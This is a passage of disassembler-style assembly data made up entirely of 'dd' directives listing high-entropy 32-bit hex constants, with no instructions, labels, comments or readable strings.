		dd 0B487066Eh, 0AEB33B52h, 0DA5E921Fh, 66ECBB39h, 90F01B0Ah
		dd 2F18C2D4h, 223E2B7Bh, 0B5D0792Bh, 0B22927Fh,	0BE5D9E16h
		dd 0DA70C858h, 94B9F6AEh, 8126422Dh, 4F019BA0h,	0DE68D720h
		dd 37CC0326h, 42349079h, 3213606Fh, 0A9864ABAh,	0BA4B007Fh
		dd 6DBA0C4Ch, 0D0961829h, 10781007h, 271ED957h,	0DDCD41A9h
		dd 1BF282C2h, 17C1B9BCh, 0F3D52003h, 24FA7B6Fh,	42CDF076h
		dd 14DB3B90h, 9E7CCA34h, 0BCECCDF9h, 761B9ED2h,	1DBA2761h
		dd 68FF1301h, 0CB259048h, 0BB074C0Eh, 118FB2DAh, 0F962D4FBh
		dd 0BEF65929h, 0DC1A0166h, 720B4E11h, 9E2C7288h, 0D545BE66h
		dd 9D64FE95h, 2D7D1E21h, 89158BDFh, 0C963CD93h,	0FECEA283h
		dd 0C7B78164h, 0AE7C56CEh, 4408649Eh, 97B801Bh,	0E97D33E7h
		dd 0BBC9687Eh, 0E62315C1h, 0E30DA93Dh, 0E25091DBh, 2C6FDAF0h
		dd 9B6359BCh, 0E7CBFF86h, 0D93EF403h, 97CD2123h, 2310E2Ch
		dd 2AE28956h, 664574ADh, 8B430FA8h, 0E4380BC8h,	31A3FF1Eh
		dd 0DC932B90h, 0D01A4F3Ch, 0B8DE466Fh, 5D66E259h, 663BEB3Eh
		dd 0D2242664h, 254BD31Bh, 0C3EA49FEh, 0F6BC80C0h, 3C30B310h
		dd 845E059Dh, 0FE368F00h, 1E20622Ah, 0E102357Bh, 850DC071h
		dd 245937ACh, 26045F02h, 247F3C47h, 0A83763E1h,	9D43BF8h
		dd 0D049983Eh, 5B5129A0h, 4DE78BF2h, 17076161h,	0DF68FC71h
		dd 0E5B82887h, 6C039FA2h, 0B12DB9CDh, 0D793D593h, 0A4AD2A1Bh
		dd 4553A84Eh, 8870F4Ah,	0CEBF2995h, 182AA65Ch, 90FD8F3h
		dd 0E8A98E87h, 0F9564C4Bh, 82015C9Ah, 0BA667630h, 0AB8C918Fh
		dd 61CF25E6h, 61260E3Eh, 7EAE2B6h, 53FCA355h, 87DC33CDh
		dd 0B1CD96C2h, 0F23E3FFAh, 3912E702h, 7F9F7B3Bh, 87461423h
		dd 42465A94h, 0C3A1EEC1h, 0DB4E1E55h, 1CE39734h, 6B2E4264h
		dd 0F93AA2A7h, 7A07C635h, 0B5723307h, 0F2D02CC1h, 0A1D7A2DCh
		dd 0F8A0EE05h, 0CC72AAACh, 16036D7Fh, 3FA95E7h,	8D9BCF15h
		dd 83A47FA8h, 0EFB2CAA1h, 0F8A8F32Bh, 0C151A7D3h, 0D0E5EA89h
		dd 12F6EF77h, 0FAC92404h, 0E101E45Fh, 78ED0008h, 0BEA9C614h
		dd 0D53B4133h, 0E2EF83DAh, 9E282705h, 7A3D26F0h, 329EF4C4h
		dd 0EAD98FD0h, 59EA51F2h, 7C90B12h, 0BBE5113Dh,	5BFC2648h
		dd 50576E7Ch, 0ABF3593Dh, 2F70D426h, 0D8CCF9D6h, 0A8AF9FA6h
		dd 0EC1C8A23h, 9E30DDDBh, 0F0F7DB0Dh, 0A03F4F7Dh, 0F8874281h
		dd 1544BF8Ch, 3967DE25h, 6F91FA35h, 73AC7031h, 4AB7C3F7h
		dd 94D13F2Dh, 810C3951h, 3B667A74h, 507571E2h, 0FD37A5FBh
		dd 0B621E577h, 0C7D2730Eh, 0ECFF3E3Ah, 171E8EE3h, 0D1F7A5F9h
		dd 0B95CDE46h, 56EBCE77h, 93AB5230h, 0B5285489h, 0E8E04951h
		dd 0BF719F67h, 7BC89332h, 51DD65Dh, 771BED3Ah, 0BAE157F4h
		dd 0D57B5B15h, 797A99C9h, 8E1E0D03h, 0DC029C4Fh, 0D718A164h
		dd 98590703h, 0A7384AB1h, 9F91B1A9h, 572F477Dh,	38C73E6Eh
		dd 0A32B34D8h, 0E561D96Ch, 9666A4BFh, 0CFB345C7h, 0FF2A6C8Bh
		dd 0ADA042E3h, 0FEAB84DEh, 0FFC033D2h, 595C1B85h, 0DE401976h
		dd 9F21533Ah, 450FB415h, 6A024936h, 0AB95B93Ch,	9A880D73h
		dd 86C658E7h, 91A2B042h, 695E36E3h, 645CC76h, 3779C7B3h
		dd 0B52E3E49h, 0E853CE04h, 800E962Eh, 0A851F366h, 121C2E1Dh
		dd 0A9E6D105h, 8441260Ah, 2B1C4FB4h, 55C60481h,	0AB429B82h
		dd 8C0AF652h, 3E8047C4h, 0C90EB9E7h, 3611DEB2h,	638AEE9Dh
		dd 316125Dh, 0F9B1CBF3h, 0B1230C40h, 0B2A85BF6h, 6432658Ch
		dd 83556548h, 119D4514h, 2ECB7472h, 7ED6E3DBh, 0A22CB89h
		dd 81037319h, 5E7793F9h, 6BC859A8h, 0BD783158h,	0EB8CD948h
		dd 10CEB64Dh, 0E492BFF6h, 4FB53800h, 0C81E2CDCh, 599C3160h
		dd 0B2B096D7h, 0BC40A5CFh, 23453ADEh, 5D168433h, 0ED69BE35h
		dd 309F409Ah, 0D1AE6CA4h, 95953192h, 1102D5DAh,	21384F1Bh
		dd 86256F06h, 1FC8CDC0h, 0DA03391Eh, 0ACF89C85h, 440FA2F4h
		dd 8F378F00h, 0D737ACAEh, 6D117322h, 51F34758h,	0D0FD3BD8h
		dd 0C7632115h, 899F2055h, 0F05BF1A3h, 1024BBE4h, 2EB1213Ch
		dd 8BA99370h, 0C0696123h, 0B9F2EADAh, 0B3F02B1Eh, 53CBF788h
		dd 1C5C59D7h, 218E4E15h, 0D9102304h, 0EA649296h, 0C0F0344Dh
		dd 933A8430h, 2B38A15Fh, 9918B2CBh, 0F95ED7A6h,	14FBFF4Ah
		dd 0BB5A56E0h, 0C0BCB6E3h, 437D4347h, 0FD669B2Ch, 4DE4159h
		dd 9725CFC7h, 8B0CD4DAh, 4F06E865h, 88419ED3h, 0F8E8292Ah
		dd 0E364C3D5h, 217124CBh, 4F00E17Bh, 438BEDCDh,	8B34A1F8h
		dd 0DBB0BC09h, 0AA8D9119h, 0D4134078h, 0CFC22F9Dh, 0EF408FD0h
		dd 19547405h, 42806F09h, 0F309BF86h, 0ABB9EBCEh, 0EDB4876Eh
		dd 5694AE69h, 6F89E5DDh, 0F32C0295h, 0E5F7A6A9h, 6E060274h
		dd 0ADDBA307h, 10130E20h, 243CD624h, 744D0C0Eh,	0EC9AAA5Ah
		dd 0D7AC333Eh, 0BC40EFF1h, 9FEC88ABh, 0CEEF8B98h, 0DA207317h
		dd 0E3BE1A24h, 0D33389h, 0E3397C6Ch, 2673CBDh, 2FA08844h
		dd 0AC759D7Dh, 33087C06h, 5E518C26h, 1EFE33E8h,	58695521h
		dd 91137158h, 5BBC8135h, 5742E48h, 0F21D02E6h, 0FEDEEBF0h
		dd 893306h, 58CC98E4h, 0F7D2002Ah, 7EBFEE3Bh, 0C07615D6h
		dd 95DE44FCh, 73FDF7Fh
		dd 0E82304CCh, 4249EBE4h, 320BDEA2h, 819AB9BFh,	0AB1189C6h
		dd 0B8A682E5h, 4FCCD5DBh, 97EB275Dh, 92C52EE5h,	0ABEBE4CAh
		dd 873481D4h, 23354908h, 0BE7106F2h, 0E857E901h, 0B1AC29FCh
		dd 0F07AC0C0h, 7241C92Eh, 0BEBD7E4Eh, 1564622Ah, 0AE322BA4h
		dd 4F8F1FF1h, 7EA0BCA8h, 1BA974h, 0CD546D92h, 0B8EBE7C6h
		dd 0B39CC1DFh, 543A76D0h, 0D5B76668h, 2E632D19h, 75547DC0h
		dd 69F7D7CFh, 0BA0F8C23h, 0F362D96h, 98BB9328h,	0EED0F8E9h
		dd 559B7A5Dh, 0BCB809A0h, 9A2A7BC4h, 5AF3E132h,	0FCE053h
		dd 0BD30FCC3h, 0CEAE268Eh, 3BBDF631h, 9FC2309Eh, 0D7DD2457h
		dd 5008C4D2h, 365528A4h, 0A8D971Ch, 0D98683C5h,	46346C97h
		dd 0B85740C5h, 0C1CA7FBEh, 6BBB4Ah, 7B9D2DC5h, 0D8C9A021h
		dd 21C42AA6h, 3D0274E7h, 0EF1D4DF3h, 4EFCABE7h,	0EAA4A9D5h
		dd 5E2D9AD0h, 8670E67Dh, 70499B14h, 0BC7E4CC4h,	0AC3FB4B5h
		dd 94681DA1h, 61E73DC1h, 22F3028Dh, 0A4C4FC61h,	217DDA71h
		dd 0A9BDAA1Ch, 74DE56EFh, 1DD0A0C6h, 97C56185h,	0EB0978EAh
		dd 1185707Eh, 170EFE0h,	0E63273BEh, 6E84329Ah, 0F1BA227Ch
		dd 5EAE57E1h, 0DC16A43Ah, 2AA41A3Ah, 16BF1B4Eh,	5D87DDA1h
		dd 750052D1h, 9BD90DD2h, 15CDB847h, 812E9B25h, 0BB00746h
		dd 5C7CA6FEh, 0E1080B09h, 0C29B5D11h, 0EED065FCh, 15637D3Fh
		dd 0C5ED7321h, 0B9D7833Ah, 7F57C5F4h, 4ED63421h, 0EF7F8F31h
		dd 0E591D4BDh, 0D4E77809h, 5F8C76E0h, 88E961B8h, 0DDFA10Ah
		dd 1BD14F5Eh, 0C3AE8FB2h, 6006FAA3h, 42AA68E8h,	3D445ABAh
		dd 0CAAB7AD0h, 0BA14AF4Fh, 0C23FE894h, 0F9C35F6h, 2CCF7E09h
		dd 0B97283BAh, 0D776D1CDh, 0F489C56Bh, 5B4AA643h, 72AB1B33h
		dd 657B4737h, 443E5FAh,	772FD75Ch, 3FE90AEh, 0C8AE763Bh
		dd 977B7792h, 0FA9561A4h, 0C199C98Bh, 0C89E2868h, 6B22C1DAh
		dd 4D8F3245h, 0FDB5366Dh, 58E862AEh, 55207424h,	7C6D954Eh
		dd 4D1E972Eh, 2BA61ADFh, 4981F130h, 1FBF7B9Eh, 3C3736B5h
		dd 65E10B3Fh, 56682DE6h, 0E0BA5A05h, 8E24252Dh,	0F351A57Dh
		dd 737246F9h, 0E4AD3184h, 0A3242156h, 0A5CE843Ch, 0AA64ECABh
		dd 6BFB970Dh, 0AD6DA7F4h, 40549908h, 0E0FB17EEh, 9B169756h
		dd 6E9D1ABh, 0D819563Dh, 13AFE6ECh, 2200F643h, 52A4AC23h
		dd 573EB0C3h, 0FB3C342Eh, 369F252Ch, 8208F529h,	33866F43h
		dd 8D20B50Bh, 0FD9AB327h, 1E7B4944h, 69CDC21Ch,	8CFF7C23h
		dd 8C0C3E10h, 5C7937F3h, 481A80E1h, 42A334BCh, 340FF06Fh
		dd 5DF55514h, 4852CD1h,	4F23CD70h, 688F2AACh, 0E1626B35h
		dd 8DDA3369h, 0B8846590h, 0F0F0FD04h, 5E444471h, 909D6A57h
		dd 0B46E4345h, 1A2F2AFDh, 0A87B9Ah, 874946A0h, 7F1A65E8h
		dd 3B889D9Bh, 0F887FAC7h, 56FC3DDh, 5A39AEC0h, 77F99C4Eh
		dd 2EAB5379h, 0ECB389CDh, 8683941Fh, 954421D4h,	0D276A3C2h
		dd 11452550h, 92202BF9h, 0CF6D74DCh, 45EE8911h,	30777862h
		dd 50FA34D7h, 60475C46h, 66A37CE0h, 2682511Ch, 6EB69046h
		dd 0B3CF1912h, 0BDCB1C96h, 0C417EC17h, 0D8718164h, 0A9C5D167h
		dd 0B953E828h, 640D0412h, 5D15EC82h, 9C936DE2h,	0D1D97557h
		dd 6AF72C75h, 9722CB9Ah, 0F761E258h, 616D3012h,	0EBB7E3D3h
		dd 2B8F31D3h, 6C15E0C3h, 2DCCEB87h, 8298BF15h, 79704E13h
		dd 45B10A5Dh, 0CC016762h, 822C65CBh, 7DBB001Bh,	4F3AC578h
		dd 2D029184h, 0B1106EDDh, 3D77CAB4h, 7541B707h,	4C3CC6E7h
		dd 7C53310Dh, 5A579AF9h, 9810A6D3h, 0F86B2A8Ah,	0A7F55D3Bh
		dd 574840D0h, 913193ADh, 0FF8269AAh, 0F32E48A7h, 0AE383ADBh
		dd 94A57EA2h, 8B04CA3Ah, 0AC3E71ADh, 0EEA259E9h, 49413B1Eh
		dd 75B56D66h, 0B814CE00h, 272A6530h, 7E991D08h,	1CEE04E1h
		dd 0A069AEB8h, 81017F35h, 4E22B31h, 0F2CAEAA2h,	24AB06E4h
		dd 0F21A405h, 6F711154h, 45ADD5C3h, 2A5C54Bh, 0F514596h
		dd 0E0C811A9h, 127A80A7h, 1DAA3743h, 0DCCC261Eh, 52DC5C27h
		dd 0B6F18AFFh, 0CE203AD4h, 56E8DCB4h, 932E5E51h, 0F13B6Ah
		dd 0D28E038Bh, 0BCD01795h, 495480B6h, 0DFB586AFh, 6CB2705Eh
		dd 0BD38B5F0h, 0F4738B1h, 0EEB77B0Eh, 0A8954874h, 84FDCCB7h
		dd 0B3087403h, 5ABE3D57h, 5E9BECD0h, 0C3D8BA82h, 0B171EEF3h
		dd 3FCC8CCEh, 18C31F37h, 0EE8E3157h, 0E0897726h, 0FA22D487h
		dd 9EA23324h, 80AE7B67h, 2F1E85A2h, 5D1C3BE9h, 9B6C6330h
		dd 57B0440Eh, 0AE2F08B9h, 0A5820905h, 6FFFCD0h,	4EC19683h
		dd 0CD7F0526h, 0CE00227Ch, 9874197h, 0D12586BAh, 9968EB07h
		dd 48156C0h, 64950807h,	9DA0EF42h, 0F881E7E5h, 6DF8C3AAh
		dd 12E3A12Bh, 847F1581h, 9AAF71B2h, 49715749h, 0FE4CE43Dh
		dd 0D8F903B6h, 0D201917Ch, 9168DAF6h, 76A498B6h, 0EC7AD336h
		dd 9C175893h, 7DA5B5C6h, 81FFE53Dh, 0C7D28B62h,	0F7C2BCD4h
		dd 2B5220A0h, 2648FAD8h, 1FE6ECD7h, 1135961h, 0DD8BC61Eh
		dd 0C315EDFBh, 4EF4CD23h, 0F2F16150h, 0BE40A9B8h, 32A33876h
		dd 98755144h, 5C1CA5FEh, 7491F7C7h, 80566500h, 0A7C2A53Ch
		dd 0A099AF3Bh, 9C2C0060h, 0DD9A6F38h, 78F1A270h, 3E84FCC2h
		dd 0E0A69BCBh, 7FCFFF99h, 29882664h, 921CF71h, 83CA63Ah
		dd 0F5219746h, 8573D931h, 9B9AE24Ch, 0C28DA965h, 434C3228h
		dd 0C722927Fh, 4B667621h, 0AF9E632Fh, 0AFC932C7h, 3926DB52h
		dd 3F534C74h, 7CFD5587h, 446E864Fh, 75289708h, 0C607E089h
		dd 0F60B4272h, 0E4A69B03h, 3289B38h, 0BF1D2AF1h, 0FB1AF780h
		dd 16083D9h, 0C2F177B7h, 45C43CF8h, 7A8253D9h, 0DD1169B5h
		dd 2A1B973Ah, 63149D54h, 65C7C502h, 0A5D11A35h,	0AD17BBCAh
		dd 6782A075h, 6D08F621h, 0BBE01622h, 3B2CB3F7h,	762806A6h
		dd 0A58421C8h, 0DA03E952h, 3029294Dh, 0FC121C98h, 0C8F177BCh
		dd 3DCA8E58h, 0C30F0646h, 0E0864E18h, 609D675Ah, 5067B1F2h
		dd 0E3A5A819h, 9953017Dh, 4F3A09D5h, 27A906D1h,	85923DB9h
		dd 4D628E35h, 1C65B794h, 0F1CF53F7h, 81A094A1h,	319D2424h
		dd 7173ECh, 86ACCC4Ch, 4D5F045h, 0DDAC4B39h, 49E21018h
		dd 5ED489FFh, 0CE86BF5Bh, 0AC960B45h, 296371E6h, 0EE7A4250h
		dd 98B55100h, 2436C1F2h, 5760B84Ah, 9369EDE4h, 0D01476F8h
		dd 1A3CD62Eh, 0B17ADAABh, 1A2CD017h, 11CF0C22h,	0FD6844Bh
		dd 0CDF64033h, 818B7D91h, 0B7AACE15h, 0B41E2ADh, 0AF1E859Eh
		dd 9C578DDAh, 57B980B7h, 133763DBh, 0CB665A76h,	2F20867Eh
		dd 0C99651A0h, 1E3580BCh, 0D8A8139Ah, 5054E93Fh, 3B94518h
		dd 0EBB6D69Ch, 8C40A2A5h, 92880911h, 810601E8h,	674C42D9h
		dd 41657B1Eh, 9F1E52A6h, 4CF507A5h, 1A21B735h, 466E8171h
		dd 0CC5B766h, 2E8AC7D8h, 71E006DAh, 5EFC93B8h, 0B44D658Bh
		dd 70C99C09h, 7B969C65h, 0C1D8F082h, 0E8206E7Ch, 0F6F35D94h
		dd 3852175Fh, 1AB88BF6h, 7AD5DB01h, 9F9463A7h, 12E163DAh
		dd 5FC18C5Dh, 0F1185E2h, 520AB265h, 373EA1F7h, 0B5C0C77Eh
		dd 2625A207h, 4D210EB7h, 18F4D036h, 0BAEA49F4h,	81640792h
		dd 1694707Dh, 6FF76FD5h, 83D0EFB6h, 0D867F94h, 50C59D36h
		dd 8269309Eh, 0E7D1CC5Ch, 96442F56h, 0F61EAD55h, 81C77219h
		dd 4ADC637Ch, 63786580h, 0DF740461h, 9743A5Bh, 43AE9466h
		dd 0AF6293D2h, 734DFEBBh, 0C6DD98B0h, 0F8E09382h, 379BB851h
		dd 0AE388975h, 1D6EC64Ah, 0F6C8DFE1h, 36C26BC4h, 0CB237F97h
		dd 828CF070h, 6D174108h
		dd 0A22E9820h, 58EB25E9h, 0FEEB3746h, 6CA20662h, 4FAF0345h
		dd 0EBABAE38h, 0A5CBFDECh, 530381C9h, 580B5796h, 6648F79h
		dd 40E21A13h, 1194C518h, 90F5B781h, 57C2879Ch, 1EF9FB68h
		dd 0A15CE227h, 39CDF15h, 0CBB7B741h, 0CF2A6096h, 0DC076946h
		dd 0D1C0BA6Dh, 277A25B0h, 0C77CB595h, 0B4E519F3h, 608F21E1h
		dd 74CA4A9Ah, 0D087347Ah, 9310C72h, 0FC40BC0Eh,	7AC4A251h
		dd 62027158h, 34A1D93Ch, 0EF7FDFDDh, 0DC3A537Bh, 437CBD8Fh
		dd 52BD62D7h, 7D403A4Ah, 6EB7DABBh, 0DC951EA8h,	20C8BA2Eh
		dd 8793DFEEh, 0F0F828Bh, 9E7BE49Bh, 0FF8FCA59h,	7FC5B0F1h
		dd 15EA0DD4h, 0B7B57326h, 49E499FDh, 3947A296h,	757C4121h
		dd 54E54B09h, 2805E1ACh, 0F257EEAFh, 297610A4h,	0EEDFDF76h
		dd 417315F8h, 0EF9C9724h, 0C6B2A2C4h, 9382B23h,	575A533h
		dd 64A679D6h, 7A37D783h, 9E45AD37h, 0CE6A7ABEh,	0D87002CFh
		dd 7994775h, 8B15943Eh,	0EF631052h, 0DC2F3601h,	0F6C8C1DAh
		dd 66DB0088h, 0E0269993h, 56E63794h, 70B2DC37h,	0D026782Dh
		dd 6C0BA78Bh, 0E1DAC11Eh, 797AEE5Ah, 0DEBD528h,	578D61ECh
		dd 9FC4EC92h, 0B01F8BA7h, 62048ECFh, 7B0F6906h,	18991A06h
		dd 0EF7B7096h, 0CB014292h, 9CC9E3E6h, 0DAD5DA2Eh, 0CA4BAE91h
		dd 0AB13DE8Ah, 3F04CBE2h, 16A41128h, 304C58B2h,	6F3C50CBh
		dd 9E292B60h, 9436FB15h, 5AAE2D6Fh, 0B94B5B3Ch,	743B16A4h
		dd 13940B57h, 0DD3E010h, 0C7411881h, 0F2CAFD98h, 0F03FC239h
		dd 0E4245485h, 0BD3F3C2Eh, 146465DDh, 0F5CA86E5h, 4573D35Bh
		dd 6D9E6395h, 2744D989h, 7DDF33CCh, 0DEAB0760h,	2D44014Eh
		dd 2287BA8Dh, 9EADF2FAh, 6D09F216h, 0BD963658h,	0DB493D19h
		dd 0CEAFFFFAh, 0C608F826h, 1BA70EADh, 0CC80F80Dh, 0DDD2C198h
		dd 0E9C34BCCh, 71E32E1Ch, 484A6804h, 414D3160h,	72E71FA2h
		dd 0ABF821Bh, 91A0A5FDh, 0CA61ADC4h, 4E0F6917h,	0A5408D84h
		dd 5BD0C823h, 0D3AADE83h, 22A75B50h, 962D7DE9h,	6DBFCC2h
		dd 6412931Dh, 3A0E90C9h, 2AFD6D9Ch, 0A454D8BBh,	14352FFEh
		dd 8CFE27F6h, 0C86DEADDh, 91A40BE7h, 0E3EDDFCFh, 0D477B146h
		dd 0E0DF942Dh, 0E6F508FBh, 0DA237A21h, 9731FEBDh, 85DDB223h
		dd 8514B32Fh, 0DC5E35AEh, 0BF9388F7h, 2098D701h, 0AF76051Bh
		dd 3988C6F5h, 0ED21AB66h, 0D16CCBECh, 6E0B4C70h, 6DA08F81h
		dd 0B3F4FCEDh, 35CDCB6Eh, 83617AEEh, 0C652DFF6h, 0D1106960h
		dd 0E7317A32h, 8499FFF3h, 0D188D258h, 7A4F3644h, 0BABD1C86h
		dd 41A5C4B0h, 0EA2ECEABh, 0D5B8D5B9h, 611F8C5Eh, 1576ACA8h
		dd 0BAD62897h, 2EE43A3Ah, 172C96DFh, 71D34CE6h,	0E7DEA56h
		dd 93A8A226h, 2848AD99h, 199C767Ch, 0CC9F4EBCh,	86569BB8h
		dd 0AB997FB7h, 0F63A59F4h, 0CA2903ADh, 33E8997Ch, 39D97F9Ah
		dd 7C096372h, 338F0F10h, 4D97CB54h, 47D540F9h, 777A9120h
		dd 1BE19D38h, 2A03C9FAh, 0FB80AFD9h, 0FF335303h, 29297084h
		dd 1B690129h, 6D5A3922h, 4A520537h, 0DF5E57E8h,	0A22133A2h
		dd 443EAA2Eh, 4BF734C4h, 92B0F1F0h, 0AB5ACD27h,	364EC0B4h
		dd 0C8D19B4Dh, 66B52F44h, 0B205E095h, 6C65Eh, 4C385AF7h
		dd 0A9CCE8C7h, 0C420F37Ah, 0B6768F46h, 0BCE434F4h, 0DFE772C8h
		dd 14AFFE76h, 7392ABC6h, 0F5A7AFB9h, 2AA9290Eh,	28C7E13Bh
		dd 58B57627h, 7915C604h, 8B3F74Ch, 731A915Dh, 4E9D8534h
		dd 0B84F4063h, 0E12D6163h, 73A975DBh, 0ABA0D344h, 46AC069Bh
		dd 860F374Eh, 0F0208BC4h, 3D32F83Dh, 4C42537Fh,	0DEB149B2h
		dd 0ABC1BAD2h, 0D5869F2Ah, 2C95B509h, 64CC2BBAh, 78199FB9h
		dd 0BE735818h, 61C580AAh, 1704CE93h, 0FC92C6Eh,	7C8EF31Dh
		dd 0A60E52E9h, 0B282868Fh, 0D0CF2833h, 0EE5CF3D7h, 0EB9FDA1Ah
		dd 1106EBAh, 0F6784E0Fh, 32E15499h, 0AD50B74Fh,	0B0573E18h
		dd 0CB8255ACh, 0FB45EDD3h, 0F63883A2h, 0DC081123h, 736491E0h
		dd 774E8FDCh, 2F86ECC4h, 4024EB48h, 5E8E4C8Ch, 0E993450Eh
		dd 4795CB05h, 305B2749h, 779DDC4h, 0EAE0E457h, 5B3950D2h
		dd 0E2D69A32h, 26FC2A30h, 99463B47h, 0C1B073A5h, 97A406F6h
		dd 7B37A46Dh, 716274Fh,	3183E745h, 4FD7B259h, 0A19816D0h
		dd 0B6F48C33h, 1C6C634Dh, 0AF50F7ABh, 83C768CFh, 1C6AAE20h
		dd 0DB19130Bh, 0D137CBF9h, 0FEB78990h, 0E6D0035h, 13A8C29Ah
		dd 56808E0Bh, 0F7417A42h, 950D5741h, 11650972h,	0DB1593Fh
		dd 468F606Eh, 0EFDE8774h, 0C7CB9FFEh, 911CC85Fh, 0E91CB0BAh
		dd 12D9F825h, 85CA0480h, 0A30720E5h, 2C6ACF2Dh,	63F5176h
		dd 9B8734CEh, 59AEAB7Ah, 2B6BA66Fh, 0FFC000F1h,	615700BEh
		dd 0F9774D58h, 0E7F6AF2Dh, 0A5010628h, 0CF7A19E6h, 0B77F95C0h
		dd 8D998C8Dh, 4C1EC723h, 953957E1h, 47394717h, 0F976C97Dh
		dd 0D18D3ABh, 0AE1679D2h, 9A7424A2h, 0A98F0D56h, 0B20926D3h
		dd 1149F7AFh, 90C4A56Bh, 14F98668h, 73336D6Fh, 4E205AD9h
		dd 6D6A9196h, 0E5D8B24Ah, 0DAB689C0h, 2EA83F91h, 0A1237C58h
		dd 0F5FD1522h, 303076A0h, 0A980203Eh, 4ECB764Ch, 0E4B3B77h
		dd 0ABCD9526h, 88FF5F8Ch, 344A7139h, 0FEC65E1Eh, 0A14D9C82h
		dd 0B177EBF3h, 0C4DD0D1Ch, 0A45B34EBh, 0E8722B41h, 0EB62D126h
		dd 5B66F455h, 0DF755A4Bh, 0DA7732D1h, 8FC06E0Dh, 0D91F76B0h
		dd 0F5A4D149h, 7CEA7004h, 0A501AB24h, 914915FFh, 0A0DF9C2Ah
		dd 426FBB0Dh, 8F1DF702h, 0AF287B2Dh, 2A2964B7h,	2E55C38Bh
		dd 97F82457h, 0E599BBB6h, 0E47F283Ch, 10039273h, 185C309Ah
		dd 0B823F6AAh, 483F9E0Bh, 0F4384BD8h, 7F5B6237h, 0EAB4983Ch
		dd 0C8228DB4h, 6BA81BB5h, 4FAC7AC7h, 4B94A52Eh,	25644DBEh
		dd 0F61657FFh, 7959CC4Dh, 684EAAE3h, 7BFD250h, 3055F1D0h
		dd 0F2F4FE56h, 424EF095h, 0B69B14F5h, 55136CE3h, 9832A143h
		dd 0AEC55A6Bh, 0C40CB006h, 66F1F6C8h, 5F53A5F3h, 71BE5B15h
		dd 0EB40D08Fh, 14AD0D1Dh, 0D41D68F6h, 7DACA74Ch, 0BFB2C293h
		dd 0A6063164h, 77578AA0h, 96AB960Dh, 28D296E6h,	244744DFh
		dd 0CEFB0A55h, 0D8226E97h, 159E330Eh, 2745DC85h, 0D4AB3EECh
		dd 0A5A9CF42h, 924555EAh, 4AAF7677h, 0F1DFEA48h, 68AB4D9h
		dd 6A835E48h, 0A106211h, 5B489BC6h, 0E1600507h,	0A4AA17CBh
		dd 474982AEh, 0FB836DAAh, 165853B1h, 547EA15Fh,	4232F4E3h
		dd 3E47D6D4h, 4568274Eh, 5C72B6A0h, 0E489C3C9h,	8BA25007h
		dd 0B88E9A57h, 6B23C4B7h, 0EE715866h, 0B8264BB3h, 2ED21A6Eh
		dd 89EBB564h, 9CCE7BD4h, 688C4CA4h, 463D82Dh, 5B81C9Ch
		dd 1871825Ch, 57CF3402h, 4D9F20FAh, 9CBDBB45h, 0AF60C7E3h
		dd 0F5997DBEh, 628AAA42h, 0C6483414h, 7DF0D854h, 5910D674h
		dd 0A039EF7h, 5C90064Bh, 87280531h, 8E21440h, 0DEC9B330h
		dd 59C99192h, 0AB1EE6BAh, 0C6C2Fh, 1AE17357h, 0D57F1052h
		dd 11FA65F3h, 0BA28FBB8h, 45CFA39Bh, 3E681CDAh,	0DE8D725Ch
		dd 0E30CE46Fh, 0AF52CD5h, 0A03E0271h, 809E69F3h, 20EEC41Ch
		dd 1F9CFD39h, 0ECA52E1Dh, 9E0D52B9h, 0BBA1FA60h, 7E681DA1h
		dd 87B1D49Fh, 2F318D5h,	854C0765h, 890CC453h, 5BC80A65h
		dd 4BE0798Eh, 0A7AF978Dh, 74B5E9Eh, 35AC4890h, 0B9F6974Fh
		dd 9875C5Ah, 244525A4h,	40C55DB6h, 0E302AF3Bh, 0DBDDE3CAh
		dd 198401A4h, 1626118Fh, 0A02DC6D6h, 92CDA68Dh,	0B7C78D0Eh
		dd 0A7B1D7ADh, 0EE8683E0h, 0F6AC57DDh, 2AA28416h, 0C5C65B59h
		dd 0FFC58768h, 8D104DFh
		dd 0C56777BEh, 67616355h, 9EA5AA44h, 79AF7C3Bh,	0AA6A896Ah
		dd 2CBBB772h, 4CA08365h, 9BE33AF5h, 586EC3Dh, 0A9DE4F37h
		dd 70BD22FEh, 0D45C38ABh, 0DD2510E8h, 44FFEC9Ah, 0D0CC1554h
		dd 0C1FD29FBh, 0C800918Dh, 6875B660h, 0E1DDCBB7h, 0C1B78E4h
		dd 0D1E5ECA5h, 1F83F393h, 201101E6h, 14FA4E5Fh,	31307E07h
		dd 89312E4Fh, 5CE2BBC3h, 6E24614Ah, 8B041BEFh, 0EFD938AAh
		dd 0E4B9A6AFh, 0EB880EAFh, 0AE245D0Bh, 4AE89713h, 0D1BBE046h
		dd 0B529D4Eh, 90228B60h, 994BE190h, 2A3E37BCh, 6E4C4512h
		dd 2A64DE72h, 0DDE6086Ch, 7BF3F808h, 0A06CE78Dh, 147559F9h
		dd 8AD08BACh, 0D5AC37C7h, 7ECC2219h, 0B2EB5D1Ch, 0F2F72863h
		dd 6230A630h, 69173D50h, 55C88B5Dh, 0AA81F7FAh,	0A823837Bh
		dd 0E278DCACh, 0D3D3BF8Bh, 0B6A5F6C8h, 9CBBCA90h, 90F836A9h
		dd 0F1162AFCh, 1491A4ABh, 9E908A8Dh, 218A6181h,	3C269BB1h
		dd 0A02CB6BAh, 0F8DE37A5h, 0C6AA932h, 3D022EB7h, 0ACEE3CFh
		dd 5F17C78h, 997013BEh,	29FEB5C4h, 0CFF24277h, 4DCBCA63h
		dd 2EEAEC12h, 0A5AF82B6h, 9BC56320h, 2BA538EEh,	3D932ABEh
		dd 0B066DBEFh, 4EDF0083h, 9DE37372h, 0A8E4C2D0h, 0D2B0A2B7h
		dd 3E1594BCh, 0A7039F68h, 37E15794h, 303232F4h,	0E7E7D66Fh
		dd 1D93F8B8h, 7BF9BF9Ch, 1CFB944Ah, 0DF5CD2F9h,	6D807717h
		dd 1A9B4798h, 51436234h, 0B15C7CFBh, 2451B85h, 0FDC4CB6Ah
		dd 3AC6BC6h, 90776F7Ch,	3B698507h, 45AAEBE0h, 0DB9344E1h
		dd 55099DEBh, 44BEDEA9h, 0E04558D8h, 2165BAEh, 11F6EE01h
		dd 8D60FC1Eh, 9535C39Eh, 947ABDFh, 985C1FA4h, 0A3217CABh
		dd 9770923h, 0DE9EC367h, 0B0B138B6h, 0AEA02480h, 0E88E9FBBh
		dd 0C91853F1h, 0A1A51A75h, 195164ACh, 0A2733048h, 77764AC0h
		dd 1D256139h, 0E95D8Dh,	0C3F895CFh, 1BE68EF2h, 7A472C16h
		dd 3D8DF501h, 15E7589Fh, 0A11116C4h, 71D28CFFh,	0F2934FDFh
